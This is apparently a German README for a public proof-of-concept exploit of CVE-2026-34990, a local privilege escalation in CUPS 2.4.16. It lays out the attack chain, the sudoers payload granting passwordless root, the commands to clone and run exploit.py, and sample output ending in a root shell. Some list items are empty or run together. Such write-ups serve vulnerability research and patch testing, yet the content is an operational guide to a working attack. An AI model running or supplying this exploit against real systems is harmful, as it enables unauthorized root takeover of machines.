
Generischer PoC für CVE-2026-34990 – CUPS 2.4.16 lokale Rechteausweitung über lokale Token-Offenlegung und beliebiges Überschreiben von Root-Dateien.
Ein generischer Proof-of-Concept für CVE-2026-34990, eine lokale Privilegieneskalations-Schwachstelle, die CUPS 2.4.16 betrifft.
Der Exploit demonstriert, wie ein lokaler unprivilegierter Benutzer die lokale CUPS-Authentifizierung und das Verhalten der Druckerkonfiguration missbrauchen kann, um einen beliebigen Dateischreibvorgang als root zu erlangen und Privilegien zu eskalieren.
CVE-2026-34990 wurde ursprünglich gemeldet von:
Asim Viladi Oglu Manizada (@manizada)
Ich bin nicht der Entdecker dieser Schwachstelle.
Dieses Repository enthält meine angepasste und getestete Proof-of-Concept-Implementierung, die auf öffentlich offengelegten technischen Informationen basiert.
Auf hoher Ebene ist die Exploit-Kette:
Lokaler unprivilegierter Benutzer
|
v
Temporären CUPS-Drucker erstellen
|
v
Ausgehende IPP-Authentifizierung auslösen
|
v
Authorization: Local Token abfangen
|
v
Token gegen privilegierte CUPS-Operationen wiederverwenden
|
v
file://-Drucker erstellen/persistieren
|
v
Druckauftrag übermitteln
|
v
Beliebiger Dateischreibvorgang mit root-Eigentümer
|
v
Privilegieneskalation
Der PoC verwendet automatisch den aktuellen lokalen Benutzernamen.
Zum Beispiel, wenn ausgeführt als:
alice
zielt die Demonstrations-Payload auf:
/etc/sudoers.d/alice-pwn
und versucht zu schreiben:
alice ALL=(ALL) NOPASSWD: ALL
Ein erfolgreicher Exploit kann dann verifiziert werden mit:
sudo -n id
Beispiel:
uid=0(root) gid=0(root) groups=0(root)
Der PoC erwartet:
ipptoollplpstatCUPS-Version prüfen:
cups-config --version
Prüfen, ob der Scheduler läuft:
lpstat -r
Lokalen CUPS-Listener prüfen:
ss -lnt | grep 631
Repository klonen:
git clone https://github.com/Noorkhalel/CVE-2026-34990-CUPS-LPE-PoC.git
cd CVE-2026-34990-CUPS-LPE-PoC
Ausführen:
python3 exploit.py
Beispielausgabe:
[*] user: <local-user>
[*] target: /etc/sudoers.d/<local-user>-pwn
[+] Local token: <LOCAL_TOKEN>
[*] attempt 1: <printer-name>
[+] ROOT via sudoers
uid=0(root) gid=0(root) groups=0(root)
[*] next: sudo -n bash
Nach erfolgreicher Ausnutzung:
sudo -n bash
Dieser PoC ist absichtlich als generische Implementierung der öffentlich offengelegten CVE geschrieben.
Er enthält nicht:
Dieser Code wird bereitgestellt für:
Verwenden Sie diesen Code nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Genehmigung haben.
Der Autor ist nicht für den Missbrauch dieser Software verantwortlich.
Entdeckung der Schwachstelle:
Asim Viladi Oglu Manizada (@manizada)
PoC-Anpassung, Tests und Dokumentation:
Noor Khalil